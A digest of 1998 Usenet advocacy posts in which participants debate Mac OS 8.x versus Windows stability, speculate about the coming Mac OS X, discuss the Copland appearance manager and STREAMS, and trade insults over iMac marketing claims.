Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <6qa8a7$lvs$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> You are a very generous grader. I would have given Windows 95 a C and the
> others a lesser grade. BTW, what changes between the different Mac OS versions
> justifies the large range of grades.
The stability of MacOS 8.1 as compared to 7.6 is a tremendous leap forward
overall, especially if you use Apple's VM which prvides a limited amount
of memory page protection. Apps still occasionally crash, but often
politely quit instead of bringing down the whole OS, and you cna continue
working for hours afterward. From what I've seen of 8.5, it will be even
more stable and behave more politely (i.e. quits instead of frozen
pointers) in a crash situation.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 05 Aug 1998 22:57:22 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qao0i$hio$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <6q89qq$mvp$1@nnrp1.dejanews.com> <6qag5l$4g6$1@nnrp1.dejanews.com>
In article <6qag5l$4g6$1@nnrp1.dejanews.com>,
mmp5@axe.humboldt.edu wrote:
> Well there is 'breaking' the OS, a term I use
> when a crash causes problems when the system
> is rebooted, and 'crashing' the OS, a term I would
> use to describe an application causing the OS to
> become unusable, but not neccessarily 'breaking'
> it.
That sounds reasonable.
> In the systems I support at work, Win95
> seems to crash about as often as OS 7.6.1, but
> Win95 crashes more often cause registry
> problems that require reinstalling the OS.
That is the complete opposite of my experience. My Mac crashes more frequently
than my PC and I have never had to reinstall Windows 95. I have had to
reinstall the Mac OS twice (which isn't too bad actually).
> When
> a Mac extension becomes corrupted during a
> crash the I often fix the problem by replacing it
> with an extension from another machine,
> however this is not as easy a solution on 95.
This is very odd. Why would an extension become currupt during a crash? Maybe
next time you replace an extension you could send me the defective and good
version and I'll try to figure out what happened.
> Rather than play how many parts of the registry
> did that app corrupt it easier (though more time
> consuming than replacing an extension or two)
> to restore the registry from back up. We've only
> been using OS8.1 for a few months now, but it
> seems to crash much less frequently than 95 or
> 7.6.1.
You experience seems very atypical. You seem to have severe support problems
on both systems. Maybe
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 05 Aug 1998 15:34:11 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R0508981534110001@news>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se> <6pt3sq$5sv$1@lwnws01.ne.highway1.com> <fnww1.16408$7k7.13463314@news.rdc1.sdca.home.com> <35C5E454.36ECA327@exu.ericsson.se> <Q_vx1.18322$7k7.15161830@news.rdc1.sdca.home.com> <35C72BA2.F645A6CA@ericsson.com> <andyba-ya02408000R0408981731370001@news> <35C7BB93.C369E74B@nstar.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
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In article <35C7BB93.C369E74B@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> The original Copland appearance manager was *way* more
> ambitious, and the reason they threw out all the really good stuff was
> to make it so any old user could make a "Theme".
Just out of curiosity, what was so powerful about the original Copland
appearance manager, and why do you think they won't add that functionality
into Themes?
Andy Bates.
From: Jonathan Jacobs <jxj24@po.cwru.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 5 Aug 1998 22:13:10 GMT
Organization: Case Western Reserve University
Distribution: world
Message-ID: <6qaldm$oo5$1@pale-rider.INS.CWRU.Edu>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <6q7c32$9ut$1@hecate.umd.edu> <35C72D4A.22D9ECCE@milestonerdl.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <macghod-0308982307080001@sdn-ar-002casbarp139.dialsprint.net>
Steve Sullivan, macghod@concentric.net writes:
>Guess that explains why you cant add a single point of fact to your post
>and have to rely on sarcasm, and ad hominum attacks
Yep, I'm just an ignorant big dummy, incapable of engaging in sparkling
discourse with your great genius. (Sarcasm there. I thought I'd better
point it out as you seem to be incapable of detecting it on your own.
That last sentence was ad hominem, but you are always quick to spot
_that_ especially when it isn't actually there...)
Of course, anyone who _does_ factually (and ACCURATELY, I might add)
dispute you is usually ignored and bombarded with more of your patented
fact-free opinion, masquarading as information.
I apologize to the rest of the people on this group, but Steve's
continuous stream of bullshit (better see a doctor about that, big guy)
finally got to me.
And Steve, don't feel that you need reply to one as obviously clueless as
I must be (assumed so simply because my sig file contains a link to a
site that has many good resources for Mac users). In conclusion, take my
comments in the spirit in which they were intended. And that goes for
the horse you rode in on.
Don't visit <http://www.evangelist.macaddict.com/>,
because Steve doesn't like it.
----------------------------------------------------------
"Theory and practice are the same in theory, but different in practice."
Jonathan Jacobs Ocular Motility Lab
jxj24@po.cwru.edu VA Medical Center
Dept. of Biomedical Engineering 10701 East Blvd.
Wickenden Building Cleveland, OH 44106
Case Western Reserve University (216) 421-3224,
791-3800 x2500
"It has been claimed that a very large number of monkeys, armed with a
very large number of typewriters, would eventually reproduce the great
works of mankind. It would appear that the internet is well on its way
to proving _that_ wrong."
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: 5 Aug 1998 23:24:24 GMT
Organization: Steel Driving Software
Message-ID: <01bdc0f2$29212aa0$deb4dccf@samsara>
References: <6qa5sl$4pm1@onews.collins.rockwell.com>
Erik M. Buck <embuck@palmer.cca.rockwell.com> wrote in article
<6qa5sl$4pm1@onews.collins.rockwell.com>...
> What is MACOS-X ?
>
> I want to cut through the marketing and get some real definition of this
> thing Apple is building.
> A lot of this will be wrong and incomplete because Apple is not providing
> good information. Can you help me refine the list ?
>
>
> MacOS-X:
>
> - Looks just like MacOS-8.x
Actually, it'll look like whatever MacOS is shipping then. They
appear to already be merging the UI's. I expect both will change
by the time OS-X ships.
> - Has resource forks in HFS+ and all related incompatibilities
Resource forks are deprecated for YellowBox apps, at least.
<snip>
> - Uses TrueType fonts
And probably Postscript fonts using an ATM-style system.
> - Will initially only run on G3 processors (and possibly not some of them
-
> iMac)
There's no reason for it to not run on the iMac. Plenty of power. The
only thing 'weird' about the iMac is USB, which will be on most Mac
models by the time OS-X ships.
> - Will support Apple Script with scriptable applications
Yay.
> - Will have some variant of Mach micro kernel
> - Will use QuickDraw Enhanced as its only supported graphics API
Um, no. I'd guess there will be others. 3D, etc.
<snip>
> - Will have pre-press Color support but NOT PANTONE
Third party product is available. If Pantone has a brain,
they'll sell a YellowBox color list version, thus providing
EXACTLY the same thing.
> - Will require disk de-fragmentation tools
Maybe, maybe not.
> - Will have a "Finder" based on Carbon APIs
Makes sense.
> - Will use case insensitive file names
But case-preserving. Annoying at most.
> - Will not have built in Display Postscript
But will provide the most important features.
> - Will only use bitmap previews of EPS files
As standard. A third party could implement a Ghostscript-
based EPS previewer. Possibly a free one.
> - Will not support remote device independent vector graphics
Not as standard. Not, in practice, that big of a deal.
> - Will not support telnet or other shell environments out of the box
True, but difficult to know exactly what this will mean.
> - Will not provide standard unix utilities out of the box
> (How could they work with HFS+ anyway)
Why couldn't they?
> - Will not support UFS or NFS out of the box
It will support UFS, not sure about NFS.
> - Will have no built in remote administration other than Netinfo
Difficult to predict.
> - Will not have standard configuration via rc scripts
Difficult to predict.
> - Will not support UNIX services such as cron, autonfsmountd, lpd,
telnetd,
> nfsd, inetd, lookupd, ypbind, syslogd, etc.
Difficult to predict.
> - Will have sockets API support but not STREAMS
> - Will not have ubiquitous NeXT services, Terminal services,
> Open Sesame, TeXview, etc.
Can't predict, no technical reason why this is not possible.
> - Will not have Digital Librarian
Omni already has a free demo app based on AIAT which does the same.
> - Will not have Digital Webster
Plenty of free ones.
> - Will not have TeX
Big deal. Most people don't use TeX. If it's needed, it will appear.
> - Will not have man pages
Hard to predict.
> - Will not have a Dock or a Shelf
Fiend is already being ported. Not a big deal.
> - Will not support ubiquitous text services (Due to Carbon applications
not
> using Text objects)
No technical reason. No Text object is not a problem.
> - Will not support ubiquitous spell checking and other text services
ibid.
> - Will not support multiple paste-boards
You're psychic?
> - Will not support ubiquitous drag and drop between Carbon Apps and
> YellowBox Apps
Evidence?
> - Will not have an OO API for Quicktime other than the Java API
Write one.
> - Will not have a standard 3D kit
You're psychic?
> - Will not have FAT binaries (Will not support more than one CPU
> architecture)
But will retain the capability, which is more important.
> - Will not have Intel version
Sucks.
> - Will not have cross-compilation (Will not support more than one CPU
> architecture)
But will retain the capability.
> - Will not be POSIX certified (but may support many of the APIs)
You're psychic?
> - Will not have X-Windows support out of the box
Neither did OpenStep. Or NeXTSTEP. Not a problem. In fact,
a plus.
> - Will not have MAC Inits
Yay.
> - Will not have patched trap tables
Yay.
> - Will not change display resolution without reboot
Why not? Windows can, and OpenStep for Windows can handle it.
> - Will support multiple monitors with multiple graphics cards
> - Will not support high color fidelity dithering in low color modes
You're psychic? How do you know this, exactly?
> - Will not have standard GNU utilities out of the box (gnutar, gzip,...)
Difficult to predict until it ships.
> What have I forgotten ?
> Will MacOS-X contain a single line of code from Openstep outside the
> YellowBox ? MacOS-X will have a new kernel, new file system, new
graphics
> system, no command line utilities,...
Why exactly is this important?
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: A couple of predictions
Date: 5 Aug 1998 23:23:53 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6qapi9$6ef@newsb.netnews.att.com>
References: <6q7s77$spj@newsb.netnews.att.com> <35c8ccc6.7074422@198.0.0.100> <6qa006$c0q$1@nnrp02.primenet.com>
Originator: gupta@tlctest
nate <nhughes@sunflower.com> wrote:
>: Have you ever used NT5? I've had the chance to spend some time behind
>: a system running NT5 Beta 2 and it just plain rocks. It is already
>: stable (very) and FAST. I wish M$ would hurry up and get it on the
The last I checked on the Microsoft web site, on a page dated July 31, 1998,
Windows NT 5.0 beta 2 was still in the future.
Anyway, if NT 5.0 is successful, it too enter the textbooks; as an example
of how to get 30+ million lines of code to work.
-arun gupta
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 05 Aug 1998 15:47:04 -0700
Organization: EarthLink Network, Inc.
Distribution: world
Message-ID: <macghod-0508981547060001@sdn-ar-001casbarp117.dialsprint.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <6q7c32$9ut$1@hecate.umd.edu> <35C72D4A.22D9ECCE@milestonerdl.com> <6qaldm$oo5$1@pale-rider.INS.CWRU.Edu>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <6qaldm$oo5$1@pale-rider.INS.CWRU.Edu>, Jonathan Jacobs
<jxj24@po.cwru.edu> wrote:
> In article <macghod-0308982307080001@sdn-ar-002casbarp139.dialsprint.net>
> Steve Sullivan, macghod@concentric.net writes:
> >Guess that explains why you cant add a single point of fact to your post
> >and have to rely on sarcasm, and ad hominum attacks
>
> Yep, I'm just an ignorant big dummy, incapable of engaging in sparkling
> discourse with your great genius. (Sarcasm there. I thought I'd better
> point it out as you seem to be incapable of detecting it on your own.
> That last sentence was ad hominem, but you are always quick to spot
> _that_ especially when it isn't actually there...)
>
> Of course, anyone who _does_ factually (and ACCURATELY, I might add)
> dispute you is usually ignored and bombarded with more of your patented
> fact-free opinion, masquarading as information.
FUnny how my "fact free opinion" is usually backed with url's. This is a
second post of your and still it contains no facts... Post some of these
"factually inaccurate" posts by me? I am not a genius, but at least I am
interested in facts and back up with what I say.
This article I originally quote claimed a imac would be TWICE as fast as a
p2 300. My posts in the g3 versus p2 speed debate has used as evidence
1) photoshop tests from apple's own engineers, using 15 photoshop filters,
and given in which official apple document its in.
2) a link on Mac advocacy Joe's web page where a p2 300 is compared to a
g3 266 in photoshop.
3) bytemark tests done by Eric Bennet.
Now, lets see you produce 5 posts from dejanews of my "patented fact-free
opinion", less we assume you are a big fat liar.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 05 Aug 1998 18:40:59 -0500
Organization: Ericsson North America Inc.
Message-ID: <35C8ED8B.13026496@ericsson.com>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se> <6pt3sq$5sv$1@lwnws01.ne.highway1.com> <fnww1.16408$7k7.13463314@news.rdc1.sdca.home.com> <35C5E454.36ECA327@exu.ericsson.se> <Q_vx1.18322$7k7.15161830@news.rdc1.sdca.home.com> <35C72BA2.F645A6CA@ericsson.com> <andyba-ya02408000R0408981731370001@news> <35C7BB93.C369E74B@nstar.net> <andyba-ya02408000R0508981534110001@news>
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Andy Bates wrote:
> > The original Copland appearance manager was *way* more
> > ambitious, and the reason they threw out all the really good stuff was
> > to make it so any old user could make a "Theme".
>
> Just out of curiosity, what was so powerful about the original Copland
> appearance manager, and why do you think they won't add that functionality
> into Themes?
The original Copland manager, as I pieced it together from presentations
given in public and to Dad, who interviewed with Apple at the time,
would have allowed you to load in dynamic object code to replace
existing interface code. It let you change the way the interface
*worked*, not just the way it looked and sounded.
There is a fundamental difference between this kind of functionality and
the kind currently being offered. Basically, you would have had to be a
programmer to create Themes in the Copland version. The current Themes
manager just lets you plug and play one-to-one mappings between graphics
and sound. It's a totally different kind of thing. It's like the
difference between making significant functionality changes to a
program's code, and simply changing some of the resources with ResEdit.
MJP
From: theisen@akaMail.com (Dirk Theisen)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: Thu, 6 Aug 1998 01:49:44 +0200
Organization: University of Bonn, Germany / www.joint.org
Message-ID: <1ddbg6x.1zdi0t1bnqi8iN@rhrz-isdn3-p24.rhrz.uni-bonn.de>
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <forrestDELETE-THIS!-0508981425340001@term4-14.vta.west.net>
Hi!
Forrest Cameranesi <forrestDELETE-THIS!@west.net> wrote:
> > - Will require disk de-fragmentation tools
>
> Acceptable.
I never required such a utility for Mac OS. Why should I for X?
Tests by participants on the Rhapsody mailing list showed very
acceptable rates of fragmentation for HFS(+). Comparable to UFS'.
BTW: I expect X to repair disks automatically (no need to explicitly run
"Disk First Aid").
Good Thing. :-)
Dirk
--
No RISC - No fun
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: Wed, 5 Aug 1998 20:11:18 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6qb007$dbu6@odie.mcleod.net>
References: <6qa5sl$4pm1@onews.collins.rockwell.com>
The product described does not sound very attractive to existing UNIX system
administrators and it does not sound like it will integrate very well with
existing networks. Why would a company buy niche hardware to run an
incompatible "different" OS when they can buy standard/common hardware and
the OS that is taking over the world ? What is the business case for Mac ?
What possible reason exists to buy MacOS-X if you do not already own a Mac
and a lot of Mac software ?
These are the questions that a MacOS-X marketer should be asking and
answering. If an IT manager is even interested enough to ask these
questions, there needs to be an answer. The even bigger problem is to get
the IT manager to care enough to even ask.
If IT departments have to hire specially trained Apple administrators, that
is a barrier to acceptance. Why can not the existing UNIX admins handle the
Macs ? (Because Apple took away all of the tools they need - telnet, rc
scripts, NFS, man pages, autonfsmountd, etc)
Why would a first time computer buyer/home user buy a Mac running MacOS-X ?
What if he uses Wintel at work. What if everyone he knows uses Wintel. The
selection of Wintel software appears to be much greater in the stores. The
Wintel machine at least appears to be cheaper even if it is not in the long
run.
We are raising a generation of computer buyers that may not have even heard
of a Mac or know what it is, how it is different, or why they might want
one. Even if they used one in school, it was probably old, slow, poorly
administered, not networked, ridiculed by other students who play Quake on
PIIs at home, and it probably crashed a lot (as poorly administered shared
Macs tend to do).
When Apple runs out of long time Mac customers who want/need to upgrade
older Macs in order to continue using their shelves of Mac software, who is
going to buy the Macs that run a severely watered down version of the best
OS ever ?
Call be a troll if you like. Call me a customer who needs to hear some
advocacy. Call me a bitter person who was spurned by a company that is
destroying her favorite computer platform/environment. Call me someone who
has never seen the merits of MacOS and only begrudgingly uses Wintel to read
Word email attachments. Call me Vice President of a company that has
discovered how hard it is to sell Apple solutions to IT managers. Just tell
me the reason.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Junking STREAMS?
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: nagle@netcom.com
Organization: none
References: <35C87CFA.CEAE0167@milestonerdl.com> <nagleEx8GxM.4uz@netcom.com>
Mime-Version: 1.0
Date: Thu, 6 Aug 1998 01:00:57 GMT
In <nagleEx8GxM.4uz@netcom.com> John Nagle wrote:
> What "overwhelming developer opinion?"
Johm. you should be hesitant to make this statement. Were you in the
networking sessions at WWDC? Are you involved in the heated debates in the
various mailing lists? I assure you there is indeed "overwhelming developer
opinion".
> Have you read the Open Transport spec?
Sigh.
OpenTransport <> STREAMS
You know that.
> But it doesn't matter; MacOS X is still vaporware and far enough
> away that Apple will probably change OS direction twice before the
> projected ship date, based on their previous behavior.
Can I hold you to that? How about $100 on it?
Maury
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: 6 Aug 1998 01:32:42 GMT
Organization: Steel Driving Software
Message-ID: <01bdc0da$28cd0410$f3badccf@samsara>
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <6qb007$dbu6@odie.mcleod.net>
Michelle L. Buck <buck.erik@mcleod.net> wrote in article
<6qb007$dbu6@odie.mcleod.net>...
>
> Call be a troll if you like. Call me a customer who needs to hear some
> advocacy.
How about waiting a bit? OS-X is still at least a year away. A lot
of the details have probably not been settled on, let alone implemented.
It's not even in Alpha yet.
If MacOS-X were a human, it's still a zygote, and you want to know how good
it'll be at spelling.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: Junking STREAMS?
Message-ID: <nagleEx91JG.JGx@netcom.com>
Organization: Netcom On-Line Services
References: <35C87CFA.CEAE0167@milestonerdl.com> <nagleEx8GxM.4uz@netcom.com> <Ex8tHM.Jx5@T-FCN.Net>
Date: Thu, 6 Aug 1998 03:54:51 GMT
Sender: nagle@netcom6.netcom.com
maury@remove_this.istar.ca (Maury Markowitz) writes:
>> But it doesn't matter; MacOS X is still vaporware and far enough
>> away that Apple will probably change OS direction twice before the
>> projected ship date, based on their previous behavior.
> Can I hold you to that? How about $100 on it?
The problem is defining what MacOS X is. Apple has been known to
move the finish line, as with MacOS 8. Rhapsody has already been
"repositioned". What would you consider to be a binding definition of
"MacOS X"?
John Nagle
From: NOamradioSPAM@thebizlink.com (Steve)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Thu, 06 Aug 1998 00:14:35 -0500
Organization: World Wide
Message-ID: <NOamradioSPAM-0608980014360001@207-172-129-235.s235.tnt2.col.erols.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <35c75454.0@news.depaul.edu> <joe.ragosta-0508980814330001@wil62.dol.net> <MPG.10323fde8de3070b98968c@news.earthlink.net>
<keyword>: Cool
In article <MPG.10323fde8de3070b98968c@news.earthlink.net>,
les@vvvrfx.rfx.com (Les) wrote:
In article <joe.ragosta-0508980814330001@wil62.dol.net>,
joe.ragosta@dol.net says...
> > > I'm still waiting for someone to post some code that will crash
even Win95,
> > > not to mention WinNT.
> >
> > I would, but Microsoft would probably frown on someone posting
> > NT itself. ;^)
>
> All you need to do is say "setup.exe". That's guaranteed to cause problems.
>
> --
> Regards,
> Joe Ragosta
Is that the best effort, on this thread !
Weak.
My NT box's have crashed a total of 3 times in the last 2 or so years.
And they don't sit idle too much.
-Les
And your point?
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: A new winkle to the macos x flamage?
Date: Wed, 05 Aug 1998 22:08:01 -0600
Organization: Prairie Group
Message-ID: <don.brown-0508982208020001@mil-wi7-07.ix.netcom.com>
References: <macghod-0508981122070001@sdn-ar-001casbarp241.dialsprint.net> <6qa9ha$fje@bgtnsc03.worldnet.att.net>
In article <6qa9ha$fje@bgtnsc03.worldnet.att.net>, DC
<dhba701@NOSPAM*worldnet.att.net> wrote:
>Steve Sullivan wrote:
>>
>> Too bad macosrumors has printed things before that have terribly hurt any
>> credibility they have, but this does make LOTS OF SENSE:
>>
>> Straight from the horse's mouth....
>>
>> This comes to us from a reader who had the opportunity to speak
>> with an Apple Rep and shares with us, in summary, information indicative
>> of what most
>> Representatives are saying to customers at present:
>> <snip>
>>
>> Mac OS X
>> Almost forgot this part. I run an 8600/200, and I asked him
>> about support for the new OS. He went, "Oh,
>> that's not a Mach 5 (Go Speedracer!). Apple will support
>> these Macs very soon after the first release of OSX.
>> Your Mac will be supported by Christmas. You have to wait,
>> but it will run." Comforting to say the least.
>>
>> Well that's about it. The G4 is slated to come out June/July
>> 99, he said July/August more likely.
>
>
>Cool! At least I don't have to worry about my nice new 9600/350!!!
>Yahoo!
Maybe, maybe, maybe. MacOSRumors has been wrong, and Apple Reps have been
wrong. If it ain't official, I wouldn't count on it.
But, it is hopeful.
Donald
From: NOamradioSPAM@thebizlink.com (Steve)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Thu, 06 Aug 1998 00:24:45 -0500
Organization: World Wide
Message-ID: <NOamradioSPAM-0608980024460001@207-172-129-235.s235.tnt2.col.erols.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com>
<keyword>: Cool
In article <6q9l4j$773$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
joe.ragosta@dol.net (Joe Ragosta) wrote:
> More importantly,
>
> How well does the OS work in real life.
>
> If you had an OS that never crashed in real life (theoretically), would it
> be a bad OS just because it has 10,000 potential holes? Of course not.
>
> Real life performance is what matters--not your theory.
>
> In real life, there are 10,000 viruses for Windows and 50 for the Mac. I
> guess you your logic that makes Mac OS 200 times better.
In real world performance, almost everyone I know that has a mac tends to
have a system bomb several times a day. On windows95 it's several a week, NT
several a month, Unix too infrequent for any useful stats. YMMV.
You don¹t know me and my Mac doesn¹t bomb several times a day or a week.
Your "real world" data, proves nothing.
From: NOamradioSPAM@thebizlink.com (Steve)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Thu, 06 Aug 1998 00:31:18 -0500
Organization: World Wide
Message-ID: <NOamradioSPAM-0608980031190001@207-172-129-235.s235.tnt2.col.erols.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net> <6q9qt9$cvg$1@lwnws01.ne.highway1.com>
<keyword>: Cool
In article <6q9qt9$cvg$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
joe.ragosta@dol.net (Joe Ragosta) wrote:
> And my experience is completely different. My Mac almost never crashes,
> while I had NT going down a couple of times a day.
>
> Which is why I don't trust anecdotal evidence. As soon as you can provide
> data from an independent third party who did a reasonable comparison, it
> will be valid.
The sheer amount of anecdotal evidence on this starts to get significant in
my opinion. Some people say similarly for admin tools. The fact is, that
there will always be a segment that bombs more than usual, and less than
usual. That you fall in the latter camp probably speaks well for your
ability to put up a system, and maintain it. However, the average grog seems
to experience consistently more bombs on the mac than on win95. This
"stereotype" didn't just spontaneously generate itself. It is manifest from
something. Likely there is some truth to it. I don't think it's that bad an
evil when you consider just how ancient the macUI underpinnings are.
I've always been told people from New Hampshire were slow. Is THIS
stereotype "manifest from something"? Your logic is astounding.
Anyhow, in general principle, I do agree with you. Anecdotal evidence is
just that, anecdotal. But if the sheer number of anecdotes goes up to a
general industry perception, then there's something to it, and to ignore it
is to be willfully blind. We don't have to commission a study on every
little thing to prove that thing is so. I doubt there was ever a
comprehensive study on what tastes better, rhino dung or a great manhatten
cheese cake, and I don't know the answer for a certainty haven partaken only
of great manhatten cheese cake, but I know where I'm placing my bets; even
without an indepth study on it. YMMV.
Strawman. No one is arguing about the edible qualities of rhino dung or a
great manhatten cheese cake.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 05 Aug 1998 21:16:26 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0508982116270001@sdn-ar-001casbarp214.dialsprint.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <ckoller-0208982346530001@38.los-angeles-09.ca.dial-access.att.net> <macghod-0308981202310001@sdn-ar-001casbarp248.dialsprint.net> <ckoller-ya02408000R0308981603300001@netnews.worldnet.att.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <ckoller-ya02408000R0308981603300001@netnews.worldnet.att.net>,
ckoller@worldnet.att.net (Craig Koller) wrote:
> > Why would I want to do that? *IF* you read the post, you would read that
> > I am happy that the mindshare is changing. Let the general public think
> > this. Hey, intel made stupid commercials where they said the p2 chip
> > creates more vibrant colors...
> >
>
> Ya know what ... I don't want to go back to the beginning of this thread. I
> may have missed your "vibrant colors" point. And if all you're saying is
> that Apple's building mindshare by acknowledging that the American buying
> public is a pack of brain-numbed vidiots, and is using the same tactics
> that Intel and MS have used, then fine. Cool. We're in agreement. Group
> hug.
Thanks for apologizing, I appreciate that. If Apple's using shady
marketting causes its marketshare to skyrocket, I say GREAT! And I think
the Imac will definitely help apple out. I think it will do a great job
of getting newby users who have not used computers to buy the imac, which
is great, its a new sale for apple now, and will be future sales as they
get more experienced and buy higher end macs. Over the past year or two
that I have been here, I have said on numerous occasions that the "joe six
pack" non computer user, and "Jane the housewife" who has also never owned
a computer, are a LARGE market, and apple needs to get these people into
the mac market. And the imac should do a good job of this.
I have been using macs for over 10 years, I started out with a mac plus,
then bought a mac classic 2, then a 2 si, then a quadra 605, then a pm
6100 60, then a 6100 66/dos, then a 8500, then a duo 230, then a duo 280c
